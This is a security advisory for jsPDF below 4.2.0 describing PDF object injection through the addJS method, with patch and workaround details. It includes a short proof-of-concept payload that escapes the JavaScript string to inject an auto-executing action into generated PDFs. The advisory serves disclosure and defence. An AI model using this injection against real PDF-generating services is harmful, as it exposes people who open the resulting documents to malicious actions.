GHSA-9vjf-qc39-jprp jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method

• npm jspdf: < 4.2.0 → fixed in 4.2.0

Impact User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF. ```js import { jsPDF } from "jspdf"; const doc = new jsPDF(); // Payload: // 1. ) closes the JS string. // 2. > closes the current dictionary. // 3. /AA ... injects an "Additional Action" that executes on focus/open. const maliciousPayload = "console.log('test');) >> /AA > >>"; doc.addJS(maliciousPayload); doc.save("vulnerable.pdf"); ``` Patches The vulnerability has been fixed in [email protected]. Workarounds Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method. References https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md